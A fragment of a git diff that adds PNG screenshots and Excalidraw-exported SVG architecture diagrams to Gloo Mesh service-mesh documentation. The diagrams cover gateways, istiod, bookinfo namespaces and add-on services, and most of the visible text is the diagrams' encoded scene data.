stcOX71x1MDAxMKVcdTAwMTjV9FhnXG4gffU6yH622/3bRv1cIsHyyduoXHUwMDA1b6yjwHe07E/1zjHetT982VXY0/uCXHUwMDA3xJ6cWrVcdTAwMTFcdTAwMDVRLMVcdTAwMWEpw/6nXHUwMDE5XuTJfdRcdTAwMTFFxEHbUkdbqVx1MDAxYsdYM4l+6sZ/0/dvSFx1MDAwN0juZFxcXHUwMDFm1E6inVHXe1xi8a7A51xuXGa2XGI+bTvd17RcdTAwMDJtXHItSkNXgHGCR1x1MDAxNvtDxJ/KldHV5L3/pjqpUTf3/vlcdTAwMWT4uU9+lyZcdHnWKGKB3yV1MGJCacaQXHUwMDE2ZLPI4nbnXHUwMDE1KMJNv7djXHUwMDFkN1xcRY+kV/h8XHUwMDFlJqpcdTAwMGaNm/G9KKF4Pbw48dhcXKo7Ot5cdTAwMWQtm9FJrahKNZovN72qXHUwMDFhX1xm38eNLZzCbVx1MDAxZEXaspZLN9J3TyPRiohKbVx1MDAxYjOtU6gkq1x1MDAwNdS7xplBulx1MDAxMLtAMfze2cK69aHI1i5cdTAwMWEsqjN3yUZL5eu8+bKFdVx1MDAwYq/3RVx1MDAxNc/K+GnqQdQnTZ3M1ZJ/XHUwMDEwla1cdTAwMDLi3lx1MDAxNzwgXHUwMDEwXHUwMDE3zOpcdTAwMDQmXHUwMDE4aVxuSHSNYbL+51x1MDAxOV4oTv1Us0aOXGKkmvc0uYHAflx1MDAwNVfuVJHQKeRcdTAwMDNA8Vir2z25rfRre3dcdTAwMDOvgKOLSNyy0T1cdTAwMDFxn0ktminiLv5cXMXtUZqJXeTPkj2kblx1MDAwYqfdrmB9XHUwMDExPy5cdTAwMTg+z+pMYEfAW1ghTKjGdGFfW0rg/Vx1MDAxNlxul0SYrm1hnlx1MDAxNOinaVx1MDAxM7FJfHD6nnuL3pROXHUwMDEz6atiXHUwMDBlXHUwMDE30z8ofFsofEfHe1xcy+4qseFYTmFcdTAwMTX49L7gIcGnPVx1MDAwM4FoXHUwMDA2yFx1MDAxM6/RUtD/OI9cdTAwMDR7LugjqVx1MDAxZFx1MDAxY0hcdTAwMWbtXHR6KiYl46GORFx1MDAxZVx1MDAwMHnG+4N6d++oc1x1MDAwNfpaRJ1cdTAwMWWb3H13KEGtXl+wppik68R5UuSxVEokhk/9/rj9LNPV55vkdehcdTAwMTlcdTAwMWMj4vCZbTlfT4IxXHUwMDE1XHUwMDAx4zybZlx1MDAxOOnZ/r9cdTAwMTicLpeNXHUwMDExzLSkMsxcdTAwMWPup1PbXHUwMDE3+cZw3Ph4i+WzlUyny1x1MDAxMlx1MDAxZqlxMFxisIn285RcdTAwMWaBW0TdVKqVjrfwcNVcIuwncf73Xr7F7ZLQxVdnbVx1MDAxMrhcIlxcSrJG3nylnW11Y+Syfks+SsXBW7GXXGZ9gajQmjmm25NgJsLL57uBR4Rw25dIb2Rg+rK79KhcdTAwMTJdZneCNYdNhtmT5Mft5/W2pvFaXHUwMDA38bzMpVx1MDAwNzh691ggYef281Z97o5cdTAwMWSS23/vxZfbfVx1MDAxYb9Zm/+bvjpqjbau/jcynJ4kbfJcdIGZQawx5FaYU05nylFcdTAwMDKZgWtCXHUwMDEwXHUwMDA1vL5ZkYx9XGKgaYEjpGk0XHUwMDA1ulx1MDAxYkDEMttLx3SMICaRXHUwMDE5S+quWPtnXG4gx4Lw/+B2XHJcdTAwMDHbvvlrnFx1MDAxM/fMK8xBvGsuNVVcdTAwMWMrj1x1MDAxOYCYOUSYOc9KSGU6XHUwMDA1rFx1MDAxOFx1MDAwMni0LZhcInZcdTAwMTI0jyXim633l/vPRenzO0xcdTAwMTmtxZvNTDRyIyvXldPY5+Pj7dXsh1hE1O9+RdRB/3RcXNZ0vueygDepVpQhQlx1MDAxOfyDLjNcdTAwMTZcdTAwMDZVPXtI5dFSzJXSsiwjtuExXlx1MDAwN+PsXCKT2ltcZmyNy//xbEukmVZLrqC/TctKm4Yx3bJN9XuQpKFFaTLHK9+RJ1tlIDulTd9V7ixBSuWq5cT8XHUwMDE3NHOvpvns60s3LKDUWS1H2XMrmz6bXGZcdTAwMDdy9FmM0k68iZ+ol1x1MDAxYzWDSzVcdTAwMDGz1zRmVCAnXFxcdTAwMWRVTmbtMzEjikvzXGZcdTAwMWGVYH9BatvUxZi/Z6qJ57fCaaxXqfQnsqTOLZuiXGKbclxiXHUwMDAw6pQghZb3pFx1MDAxY6xmPVx1MDAwZkHmLe3pO1x1MDAwMtpHXHUwMDEwdlX8+vXzvCfaJJFXp1x1MDAxZlxcT0r9gIJQKbsglGq1IJzJg1krWT909CP5gko+gVx1MDAxMIP/XFwtXHUwMDFk3Fx1MDAxOdJWW1x1MDAxYfCEXHUwMDE5PVx1MDAxOSRQXHUwMDFibtFHsY/kk/OCjIhVq0Xmv0HwfFx1MDAwZliPZpDbXHUwMDE3fYGljIGQxlx1MDAwMUCxVqalhau48EvKSEd99XozJfnse5Kv2EVR2cs00neqkE42oue5XHUwMDA0te1cdERcdTAwMTlcXFx1MDAwZnQrXHUwMDAwXFzQrnxpT9xRXGLeoNNntbyjLcu9x1hLnlx1MDAwM2Hmc637yESkY40mOV2We/NcdTAwMWWpX73yXHUwMDEwdrhN7Fx1MDAwMXBfJfa8ovIuXHUwMDA3yo/Y+77Yw0JgiSlTXnJcdTAwMGbb2zxcblx1MDAwMnRcdTAwMDfsclx1MDAxMMH3j/tmUG9XukNcdTAwMTe1re1cdTAwMDT6plvH20+0hrPnn517stvqPEHbbSFIXHUwMDEzOEK+hmv3LpW6K4zribqgZ69XqnFZfm9kwsNcdTAwMDW27puM2IGUXCLUkVx1MDAxNFx1MDAwYkk5mMJM7KY1mPRo67/s1WXEiGZ3cH3HfL3DIGxgt+prYdhcbolX9ddWfrHZX79P8u/C29vTXHUwMDAwjuJLUf89qlfGZ/bi4b9+M6lhh4o51f/537/+9/9cdTAwMDN8xtGcIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClienttimeoutfault \ No newline at end of file diff --git a/gloo-mesh/platform/2-5/default/images/steps/traffic-policies/reviews-unavailable.png b/gloo-mesh/platform/2-5/default/images/steps/traffic-policies/reviews-unavailable.png new file mode 100644 index 0000000000..49d4442749 Binary files /dev/null and b/gloo-mesh/platform/2-5/default/images/steps/traffic-policies/reviews-unavailable.png differ diff --git a/gloo-mesh/platform/2-5/default/images/steps/zero-trust/bookinfo-rbac1.png b/gloo-mesh/platform/2-5/default/images/steps/zero-trust/bookinfo-rbac1.png new file mode 100644 index 0000000000..0ff103865b Binary files /dev/null and b/gloo-mesh/platform/2-5/default/images/steps/zero-trust/bookinfo-rbac1.png differ diff --git a/gloo-mesh/platform/2-5/default/images/steps/zero-trust/bookinfo-rbac2.png b/gloo-mesh/platform/2-5/default/images/steps/zero-trust/bookinfo-rbac2.png new file mode 100644 index 0000000000..0de3a8ad00 Binary files /dev/null and b/gloo-mesh/platform/2-5/default/images/steps/zero-trust/bookinfo-rbac2.png differ diff --git a/gloo-mesh/platform/2-5/default/images/steps/zero-trust/bookinfo-working.png b/gloo-mesh/platform/2-5/default/images/steps/zero-trust/bookinfo-working.png new file mode 100644 index 0000000000..102fec36e5 Binary files /dev/null and b/gloo-mesh/platform/2-5/default/images/steps/zero-trust/bookinfo-working.png differ diff --git a/gloo-mesh/platform/2-5/default/images/steps/zero-trust/gloo-mesh-gateway.svg b/gloo-mesh/platform/2-5/default/images/steps/zero-trust/gloo-mesh-gateway.svg new file mode 100644 index 0000000000..a7c7d4a9e0 --- /dev/null +++ b/gloo-mesh/platform/2-5/default/images/steps/zero-trust/gloo-mesh-gateway.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVcqS7bu+/5cdTAwMTWOfV6LvNE351xyQVHAXHUwMDA2afXWXHUwMDFkXGZ6UPpWPeP89zuDtZZkQmbSS1LbrFx1MDAxYbiXYGRcdTAwMTA5m2/2//PXxcXf449+7e//vvi79l4ptVvVYWn297/M76e14ajV68JbZP7vUW8yrMw/2Vx1MDAxY4/7o//+P/+n1O9bi7+yKr3Or7+stWudWnc8gs/+X/j3xcX/zF9t91x1MDAxYdYq41K30a7N/2D+1uJ2nPPl3973uvNbU6JcdTAwMThi6Ovt1ihcbjdcdTAwMWLXqvBevdRcdTAwMWXVXHUwMDE275hf/c1Sd4VEuvlRu3lcdTAwMTKF8Gv7aproNVx1MDAxN/est9rt9Pij/etblSrNydC2o9F42Hur5VvVcVx1MDAxM97HS7//+rtRXHUwMDBmvv/ir4a9SaPZrY1Gjr/p9UuV1vjD/Fx1MDAwZS22/+tcYv77YvGb9/mXxMxSSHNC569cXH69/fHrbVx1MDAwYn5JXHSjXHUwMDAycy2XN1x1MDAxNum1e0Ozsf9CStZ5ebG1cqny1oD9dauLz2BSVkosPjP7/XVcdFJcdTAwMTaxXUx8faRZazWaY/NcdTAwMTlcIixtv9hiK7X5M9Fcblx0RbkmX2+Y+/dvq1x1MDAwYtr49SBSZZK6S2Re009cdTAwMDPaQbdvZVx1MDAxNn762lx1MDAxNHwgW81fo2j4IfPc6qviQKGBXGLd/v37/f+3/GiapWH/9yP4e2T+YTtcdTAwMDPz9a+WXHTUTqQ28qm+JD/fXHUwMDFh4fzb4zhS/0ySOnlcdTAwMTjnbduyUXRpOOzN/v5653//5bducvKAXHUwMDEy1UqFd8kzqjXew5lW7XmzdVe+8qRfLf1iXHUwMDAwLFx1MDAxOFx1MDAxN0hpKVx1MDAxNdZf77db3Td4sztpt/+y7WxLlmTKiyWx5JIrxanYmCs7cTK8uaHvVzzCnqZcdTAwMTVeXHUwMDBiZdUs8FxcyVx1MDAxOLGEVlxmk/krZVx1MDAwZa4kXHUwMDFhWZJJzlx1MDAwNFdcdTAwMTTOXHUwMDFmM0+2ZJojLv3Zklx1MDAxMFWuubAlJlx1MDAwNDl4TrmwpVrhQ5BcdTAwMTNcXGDBhTpcdTAwMWQjzr/hjow4eSuKTvst9pLNXFxd53u9Zrr/qFx1MDAwZcCI+Za+S5VcdTAwMGJcdM6HhcrHY1xmXHUwMDE1XHUwMDEztWSgXHUwMDE5UXrqRoKEJIRS2zNex4iT2PMoP5h2dWha/mCNUjh9nUxcdTAwMDWeXHUwMDExJaN2RmRORqSEOlx1MDAxOJFcYk9GPL1+pCA5KZNcdTAwMDKdji1PpFx1MDAxZk/DPlRcdTAwMGIv9sFaMFx1MDAwNFx1MDAxNCE2R5c3uEZaj1wiVeF8XHUwMDE0pdFCNlx1MDAxYZ92g84+XGZpbFHBkdTmVaElPSaYRTbTY2h++bLPeFjqjvqlIVx1MDAxMNMqXHUwMDBiwVx1MDAxM3ayxypcdTAwMDcpXHUwMDA1Otd28WVcdTAwMDbCiksklWIn5KB9XHUwMDE0XHUwMDFiXHJ1aLhRjNyEdL2ULoavXHUwMDEyk2LrXHUwMDAwiu0+X8qH4rnX6G1LPnaHtTtcdTAwMTFcdTAwMWQ0XHUwMDBlyZlcdTAwMDRcdTAwMWSWM0FxeXImgEtJNOVkY85s3L7me5/ZXFx8/MijfFimzcth8Fx1MDAxMSZmMiCcqeh6zsTLvChcdTAwMTiRQmIpgsuK30zUYKZ7ozWNOCebY7XLhyZcbqlioVx1MDAxOSnEroup6tsjemaBJ2kmtIU9jSaK9aZG0+mxXHUwMDFhlkggQf+BvozTaFx1MDAwNGrze61iNUAx2C5q1rFcdTAwMGZcdTAwMWE14oXMNNFcYlx1MDAxNVU+mut2RtEk+T72QbuxXHUwMDBmVnONgI3TXHUwMDEzXHUwMDEx6nRcdTAwMDRcdTAwMDI1WpxTRICBkOLoSFx1MDAxZVx1MDAwN1x0esfOXHUwMDE4dJV5qE1DfFx1MDAwMTO4XHUwMDE4VijAwOy7IVx1MDAwZfMkaI6EMN7ezW2PYnNcXJ5Gq7gjbnk3k+3E6ul6OujqXHUwMDAwjHVtRzhOcqbUiW+Oolx1MDAwYiRC66BcciYr0IZcdTAwMGJNXHUwMDE0XHUwMDEzgp2OmP9Zsp942+kgVTBcdTAwMDdpyDbmXHUwMDE1mlx1MDAxZKLG7fX7XYHdX4Y7xT5/bZSDzytcdTAwMWN58lxu4GzgXHUwMDE1TohcdTAwMDSOXHUwMDAxKM6PxSsuQFx0wFx1MDAxNLJfdJlZJGAkLjA9oVx1MDAxZLBcdTAwMGazqOkgXcyWXHUwMDFlhqrxKTOR3M0leuRBZlx1MDAxNmJzWS3rXHUwMDE1Rlx1MDAxMFx1MDAxNdvwSnE0XGJ/JipXs7eqptXH99ZDr5P04JUlmndyyjJcdTAwMWE5pkNYXGJcdTAwMWa7mVxuvKmRoVx1MDAwNKnpij+zlGusXFwtu+AkgElcdTAwMWV88cU7fFx1MDAwNSZcdTAwMTHEmKFcZnXCwMxezPJUr7Rcbvn0w0euM3n7yI5cdTAwMWFXt1x1MDAxMXdmXHUwMDE5197Hm7qv5LhVXHUwMDFl1T5cdTAwMTWJXHUwMDE3Wu1Cp1x1MDAxZapcdTAwMTUo24xcdTAwMDd9170qplwi+I7FZ73yXHUwMDFkfiyMdeLmPX2AdSvTckxGu5evmVx1MDAxNk2rm4/Ma+SqfIB1XHUwMDBmfryOT/9r01x1MDAxYn6DhHNsyCHcvCPPikhBkSabo2b/81xmKFx1MDAxMqBS+nns6Vx1MDAxY1x1MDAwYmwk3+rza3e/IOaLtb+Emi014LdQU1x1MDAxYYNRinCAXHUwMDAxwE5cdTAwMDS8oJNed5xuff7y4zl+e13qtNpcdTAwMWaORz2nbNhSq9tcdTAwMTjC7i7+3W3AXHJnpVx1MDAwZvtzXHUwMDE41eA+tTnsc/xhuN1qdOdcdTAwMTJcdTAwMDZ2Xlx1MDAxYjo4ZNyqlNpfXHUwMDFm6LSqVTs+qMBuSrDm8HZcdTAwMTO93lx1MDAxYrZcdTAwMWGtbqmdWdrsn63uXHUwMDAx5ZGnY19qQTVcdTAwMTDt5n792e0gPb7Fop1PoNfn5/prXHUwMDE1t8OBRyfMh3tcdTAwMTmXwUUnWlx1MDAxMK4kPleX593le7v+RF4+XHUwMDA3XHUwMDBmpTuaKyXTsVn2XHUwMDA3nFx1MDAxY1xunFx1MDAxY+l4j7QsznUropIrll9r+VxiXG7HUpdodr/XKazDUu5f5IRYilK9/NsvUYxcdTAwMTUjVGxhKPo/psBCKaH9hLGgXHUwMDAxg1ImTIip0CjAnsdcdTAwMTNgqVppNJ7VRuNcdTAwMTOBqTUwZFx1MDAxOUx97XZ/NMW0Z0RcdTAwMTkzOHAkyFx1MDAxNkGEaiH2cdNM80GFsufJfbXxXHUwMDFjvVx1MDAxY+5cdTAwMDKnvjM5nlxuXHUwMDBiTD5B2fxVOFx1MDAxOFx1MDAxOCNKLUCcYH9gqqm0RVxcdsiROLivR2hCXHUwMDA00Vx1MDAwMbaL/DQov3nXsVx1MDAwZe/kO9naXHUwMDA3LkZcdTAwMDY1XHUwMDFkv/yBU4eCU0c63vNaVuu3z9xzMzcjOFx1MDAxN7uJXSV7U3RcXJTm/kVOiNI4886E01x1MDAxYzGt8Fx1MDAxNlx1MDAxZS//51x1MDAxNFSYRlx1MDAxOPZcdTAwMTPyXHUwMDFjWWoh5L2DX0dcdTAwMDFpZCUziCDYXHUwMDEykECQnfincHiNxq1e1Vx1MDAxNZhh6fj0wYDZXHUwMDFhQLPi5fq1w93hXHUwMDE4R9iLV1x1MDAwMbRjiVx03zxFaVqajnJi2L9cdTAwMWG9k9az0v3XVvE14GhMKmxxJSnC81eyxKiA1Vx1MDAxOGbAplx1MDAwNFx1MDAwNJfyqcTYXHUwMDAwjHkmKO1cdTAwMDTGMJdcdTAwMWHMPKlcdTAwMDJsWPmikG43/6rRPWnqfl43SSdPp1x1MDAwZj9g7FBg7EjHe6RlczqlXHUwMDE1VZnXt5fksKFm0clg9nqAU7hroVBHNp+zr9n79FS0Q6LWbFx1MDAxZmDdXGaqyEZcdFxyXHUwMDEzODfOlmJRXHUwMDE0w4PuXHUwMDAx1n1O5Vwi/Vx1MDAwZZxG4zN8XHUwMDFij71cdTAwMGafbmfDXHUwMDAzrPs0fVx1MDAxYnTS44ouJz9vPlvZQWOQ2bBMcEdU6k4op0Sl1NPxwJigSlx1MDAxMrl5XHUwMDE4x59ccoJcbkqlXHUwMDEyfrrOQFabriNLXHUwMDFi+37XoUJcdTAwMWExbqOBwCm4XHUwMDEzgNJYu9e7uKuNmlx1MDAxN//ullx1MDAxYY7z/Vx1MDAwNsfhXHUwMDFhiLeMT1x1MDAxN5v9tdWdOJfaauNWK6tcdTAwMDRcdTAwMTeCblGGkrwpPPDSa/Ku12lcdTAwMTUjvdBL5f7+Leisy1x1MDAxMdGWXHUwMDE2inA6f+VcdTAwMGXW5VhanFJcdTAwMDJUJzT8h7fTXHUwMDFmK8FK/smUvpxLuEu5vs26/VNcdTAwMTVMXHUwMDExpZixXHUwMDAwm5O+aKTYm1x1MDAxNEbteuGj2X145s1QJVwiQ8dPoHSVXHUwMDBiyvFbXHUwMDFmuVDu9d5a3XrvYtZcdTAwMWK+wVx1MDAwM6zUXFxcdTAwMDWDraBrO8Ew7vW9pIJj88tcIsBlX75S4NeJuohcdTAwMDGgfU8xICRcdTAwMDX9tU3kwP9cdTAwMTlcdTAwMDfSVlx1MDAwNa3snVDNOd+w+GBcdTAwMDNcdTAwMTngbapcImLBc5BYXHUwMDBiXHJcdTAwMWOOqEshXHUwMDFhWLNSXHUwMDBioeBxXGKEXHUwMDAxWa1IXHUwMDA3kNdcZszcXHUwMDAwt/LYj39H49JwfNnqVlvdXHUwMDA2vLeQMH9cdTAwMWFL3W6gieZcdTAwMWNfmcxrryx4uopRguBcdTAwMDdidOGmM2dX6pvNWVx1MDAxMqCb4r9fpSa/P/GF3/+udauLPTn22y6NxpFep9NcdTAwMWHDN33stbpj129cdTAwMTQ2nNmslVZYXHUwMDFlVra/t8zCfbOi89ku/utiQeTzf3z99//7l+unQ94kaK5cdTAwMTXiW6z3l/3n1lmc2KeWT3OiXHUwMDAwW2+eelBccl1FQ9lsVqUyLZRoxsf9W4qCLnwo8658XHUwMDEy3JlcdTAwMDPmKXw2qebwXHUwMDEyPoS5gFx1MDAwZpvR9scxplx1MDAxMdaEqlNGKY8rX/bCXHUwMDA3ofpcdTAwMTA+XGIsO/p3t1vq1LyhgtjVhthcdTAwMTcquG9xN77lntnXXHUwMDA0gdlcdTAwMGZ4Wm9u9pfy7KqK463ZLevcNFx1MDAxYrOaukI3QedbRi3lwbfArFx1MDAwZdBwXHUwMDFjtqUuJYqrbCs000zhc23wdaKiq1x1MDAwM8lcdTAwMDTzPIMtXHUwMDEy3Ha4m1x1MDAxZMG8Q15YXHUwMDAyXHUwMDA1aiS3KMv3r0xccqhIoNpiXHUwMDFha6pcdMZyKTgtkbKUiVqD+Y5cdTAwMTTGx9HlWFxui2tgeS44Y1It0NWXiECWsVx1MDAxMjTXXHUwMDEyXHQmsdJsxc9cdTAwMDDAXHUwMDBin9I9+K1mxDLkXm9g+JfYO1xmXGZCuaCm2YGShEi8qMddWFx1MDAxOMTiXHUwMDA0iIVcdTAwMDG4gqcnV1xyjPMyI7xcYnD+rlx1MDAwYu1taUh4i1x1MDAxZuldXHUwMDBmxplcdTAwMDS7XHUwMDE4b9GJ1F/tXHUwMDA0VfwoS1xipogpzKDOKISSXHUwMDE4XHUwMDFli6BCXHUwMDFhtKJcdTAwMTVd2tZxpFx1MDAwZnGJuCNcdTAwMGI2J4FcdTAwMDJcZk5cdTAwMTRcdTAwMTLxlaxcdTAwMTkliCBS41x1MDAxM1x1MDAxNpdcdTAwMDTCj+GPilx1MDAxZGLGJINrITmG504lVcT2qV9ihltcdTAwMDQhXHUwMDAycl1cdTAwMTI4fC3ZipjZSPT5d0xw7omAXHTAkIAnTVx1MDAxMeVq0Vx1MDAxZmYh+7Alv3YlMEDp/yzhR6jj71cof0vZ551cdTAwMThIln+7qKRjoFL0XHUwMDE2XHUwMDFk8lxuJfpcdTAwMTLBg2is8Pnxcd9npPM0antIvsDEccDEQVx1MDAxNlx1MDAwNZgp0Px1scq8QVx1MDAxZUFcdTAwMTbWQI2SU5NcdTAwMDa/l1x1MDAwZtc/jiM3iuNcdTAwMTDTtYkzeqblc0dvjnxcZpvsd4nFKGhxXHUwMDFjl33tXHUwMDA2gDCm3vFcXIo4ZpzhzVx1MDAxMZD/Q1x1MDAwZSRcdTAwMDJcdTAwMDLrSlhSXHUwMDE4KsJKXHUwMDExW0OyuVx1MDAxNOCmK1x1MDAxYVx1MDAwM1xuXHUwMDEzXG7BYVx0b1xmtE8ohzBqwXtcblx1MDAxYoSLYKFcdTAwMDVBLUI51GJcdTAwMDSkMlaUILzaMFx1MDAxM1PTrVx1MDAxYutT1tdcdTAwMDZcdTAwMDJcdTAwMDL5KyNcdTAwMDfcoEbtwoEjaUqdiM3u+Fx1MDAwMzYoPH6sjGmrsZCK890gkP+QXHUwMDAyx55Mnq9cdTAwMTZcdTAwMDKoXHUwMDBlMFx1MDAxOVx1MDAwMKHVPWlLUfhcdTAwMWZTXGZcdTAwMTAv0Uyt7OmsXHUwMDAwkDfxm2uZ7LeEP2t66HmWsFx1MDAxMlx1MDAwNOhAKntgdG1cdTAwMTT7KlWofrS6o7th7LP3oGqdl8HjLsLv+9pcdDBGvaPYQiCL6U1cdTAwMDJJm/RcdTAwMTJYzlPbL+FaaVx1MDAwNXZpoGsk/MDQy32pSjKJ93S0/olmvTKJxMUguPnW5VClw2Q4SevPzffZXHUwMDFi6PhW7yBcdTAwMTnB933Unj08iNZTO1xcmPDHW1x1MDAxZE9cdTAwMWRg3YNcdTAwMWbvulx1MDAwNFv3XHUwMDFiXHUwMDFlXHUwMDA2wfqKN89Qm62uaFx1MDAxOdaZ4nxM1Fx1MDAxNpLN/zyDat4xyr1lmzTTXHUwMDAyNlxitm0g2tal165cdTAwMTVvqzVgXHUwMDE4bD2q5UnD5lx1MDAwMUy37Vx1MDAwZnvVSWXcLzXc7bBjXHUwMDE1gq3R7MvWmX2be4BcdTAwMTPlneVcdTAwMDI2malcdTAwMDZDm2e5XFwlwvSp8fF4leo0Reep9ZhpzcZcdTAwMDFcdTAwMDcnxNmJ0cHAUrGDMfCBsVx0gcdjJkyca8vSZnv6NovWdewhXHUwMDFj77x3dCRcdTAwMTm7lvuDkyMte26YZ1iNl1rVxohXp1x1MDAwZvluqf58S1wiXHUwMDFiTuv73uNdh3ncb3hKzOMjMFx1MDAwNTe95sVcdTAwMTZVRf7nXHUwMDE5VMxDnM1cdTAwMWRcdTAwMWRcIlMh4rDnjol5XFxAzuq0JWZcZn5cdTAwMWTobrUnXHUwMDAwOdVcdTAwMWFAj/bIXHUwMDFk4CjHx1x1MDAwZlx1MDAwNnDWoINlgPNni7uDXHUwMDFiyjztXHUwMDEzIFHj61GbmydcdTAwMWav4chnkyVisypcdTAwMWGnXHUwMDFl29e5es6rXHUwMDAwMCjYXHUwMDA2wI0no+r5VIFAYlx1MDAxYiwogefDTzmWaVx1MDAxZmwzvsQzllTl8dXkJZpJdF+E7Ob2XHUwMDA3Iee17LEgyJG2XHUwMDFiv4rV2tVwkV6N3sUw+zi7bl3qvba7XHUwMDBl2rh/kVx1MDAxM0JcdTAwMWLKvdMkXHUwMDE5YpIowTaXl/7PKajQhlFvaKOxOiW0cZnupShcdTAwMTCCvV9L4MTkXHSgzbA0bnVcdTAwMWJcdTAwMWXQ5ki+mzXgYFx1MDAxOdr82eJcdTAwMWXQxrsvqlx1MDAxMojCwW7heS3U5DD5PKrLQuguXHUwMDEzeU/Lq8bMq8V8UKBcctfEx23DXHUwMDAzXHUwMDBibVx1MDAxOOFcdTAwMTJMxHNcdTAwMWSfXHUwMDFjqX1cdTAwMTYuW5ezt0Ip+1x1MDAxOOnFXHUwMDFlK82Xyf7a97yWPVZE6Ujb/X5o4/5FTlxubXxcdTAwMTKQTMKNZnrzXHUwMDA0JP/nXHUwMDE0VGjDtfTx2tBgeW0oRUIy/tND+lx1MDAxN3n/wVxytWmrNvter81cdTAwMWFwsFx1MDAwMm1+b9GXTT0zXHUwMDA1ufCOKGtGXHUwMDE4XHUwMDE124zO8feub8Wny62RjmmCXGJqKU1cdTAwMDDhKYyZdiZcZktKLCWZpFoyhJVPtcS+nKqoxUFQgEyQZi6qdklcdTAwMTZkxNJIUY2wwERRXHUwMDE3NpacXCKJTtpcbj5cdTAwMTDZgv6x3YtFZp6pQ+ImMI9cdTAwMThcdTAwMTh3glxi6laYRS0zYEnDe8L07MTy9ye2zFx1MDAxN/R3yDp3RTHGhMHWsMRcbrNcdTAwMDWffu1KW1x1MDAwNDOGhVCEMsmxXtnUWSVcZnrSv7lWKH+x3F/2n1tcdTAwMGJAe1LuSrKg0lxi6W2q1/2BalBcdTAwMDUgZ9rCXHUwMDA0jFilhLZcdTAwMGYv/yVcdTAwMDCZZSBcdTAwMWLhjFMs9fGgioRdKNN2XHUwMDA0wckjrlxcXHUwMDFh31BpSU2YJEzN64SW5Vx1MDAxZohxZijoR/xtKP5AzoB2o4RoxTFcdTAwMDP1hlflXGZmlqAg/+bUIZDkO1x1MDAxNoz5XHUwMDAzXHUwMDFi56YwPEbBtFx1MDAxOf3FiG0otn1TSFLJjItcdTAwMTRcdTAwMDQyp+ddL+ZJ++ZapvotZd+afCTPgjFMuVx1MDAwNpqwXHUwMDA39dbJv0kyjF+ros3KLFx1MDAxZi/U72aTWvE66IZcdTAwMWE14XXlOfBHUL5hwvT3z1x1MDAxYzc1XHUwMDA1mJxW4P2zho5cdTAwMGLvkI1cIia3TW0xXHUwMDFmXHUwMDBiT1x1MDAxYrVbnWFFfNkqqPvqY/4+1jpcdTAwMDN2IT7sXCKF2sxcdTAwMTd8gqnjoExAffFznVV4flPHlWfQXHUwMDA0cLxQkqMtWrpcdTAwMTVcdTAwMWX5+yTFL1x1MDAxZlGuXHUwMDFk66TGxWgy0/fgloBETSjn1E+1XGKyYVO3XHUwMDEzXHUwMDA0TszGJFjFXHUwMDAxzuPyY5bYU4aO8bg6uXq9XHUwMDE2pKQ6jVx1MDAxYXtzZ5YgJKYmI9Nw/VonX1x1MDAxM1xiTcNP+YqMO0pcdHddV1x1MDAwZsPhLJ9EQqnGW1x1MDAwMk3Lk1ItXTrAukc63iMt+/wg2rHYc1FOkr3Rw3NcdTAwMTbIsLFf0/91XHUwMDExXHUwMDE59y+y4XbjXHUwMDBmgvY+u5oli7f0I11cdTAwMWK8o9DLiVx1MDAwNb338HXv8TaIY8y2XHUwMDE43ez/9IOKhzhXfjJeoc1cdTAwMWFcdTAwMDCeqCZJXGKtmMZBjo//g2qS1mCc49Qk2Vx1MDAwM1x0K+36NEaU4y18oOz6qlx1MDAxYU0mXHUwMDBig9jTc1h9zFxuo+SDl1x1MDAwZjQoMI0q7WfSKHkwXHUwMDE2PnzmLlx1MDAxODTKPp0hcOzrp+neL+/i+ipcdTAwMWROXHUwMDE1XG7DVkx+PtPYKLa/vj/SsudcdTAwMDb++tf4MjvSvXT5M8lY5rLcj9c88lu2WvdcXJ7aOpDmfsNcdTAwMTOCKepT4C2EwVNqi4xg//NcZiqcopr5yGL4t8NkPiaccsFPq1x1MDAxMXfjq6Wc/iTO/Fwi8Fx1MDAxM5Y7rVx1MDAwMVx1MDAxZUcod1Kepo+JXHUwMDFkXHUwMDAz8W6TPPOcm1SvouwtWpyG31PTVoa+JnTAcZOJXHUwMDFje/OqRjSouFx0XGJcdTAwMWYzic/VXHUwMDEzfP+Q06nn+5fGbbb3+izVU/zuzqOMeVx1MDAxYlx1MDAwNXxey1x1MDAxZVx1MDAwYt2cyymsQzfuNzwlulHefZnhPlxcYblF71x1MDAwYv/zXGYquuHcXHUwMDBm3YC+OCW6WfFcdTAwMGVRobi25Z5cdTAwMDVPSv5D6p3WgIMj1DtJb5+QlpSDbt9iXCLkqypehiOZSnus0+Grfv819vpyXHUwMDE1cGwjMff1XHRtONflXHUwMDA0PiFMhCTCPqovcGzrpyh78afxbXZUSVx1MDAxNl4ydT1cclfjQFx1MDAxZPvr3/Na9lhxu/M6hcNDvHWgyf2LnFx1MDAxNDR55lBwpDFFXHUwMDE0b+6b939MQcVMXHUwMDEyUJGfR4h/W4BtXHUwMDEzzIRcdTAwMTHRnFwie6P9wInfoJVSXHUwMDFkXHQ1rYFcdTAwMWSHLaVcdTAwMTLeU2dcdTAwMThcdTAwMTGMXHUwMDEwxTZ3XHUwMDA2+UdcdTAwMDRcdTAwMDJaSEC5klx1MDAxNmLAp4gqsHSQs+s6oEZcdTAwMGKTbyqlXHUwMDAydFxuO+BcYjMq3Ebori+l4kIzxVx1MDAwNfmn11x1MDAxMviHpC+cpVSmaYnphiClMFx1MDAxM6NXh89cdTAwMWOqlMrf2evc1VIp1T+hksqd/M11tEoqyb3brlx1MDAxM1x1MDAwMVx1MDAxYuFic/nnXHUwMDBmf4Mq/8Dssog09WtcdTAwMTIxXHUwMDAxT2BJ/lx0XHUwMDBiXHUwMDAwyvdUUlEza0BcdTAwMDHFXHUwMDAzXHUwMDAxSJfRf+sqqcy8XHUwMDAyRrA+ZV7QeYk/M3dcdTAwMDJpQqiZXHU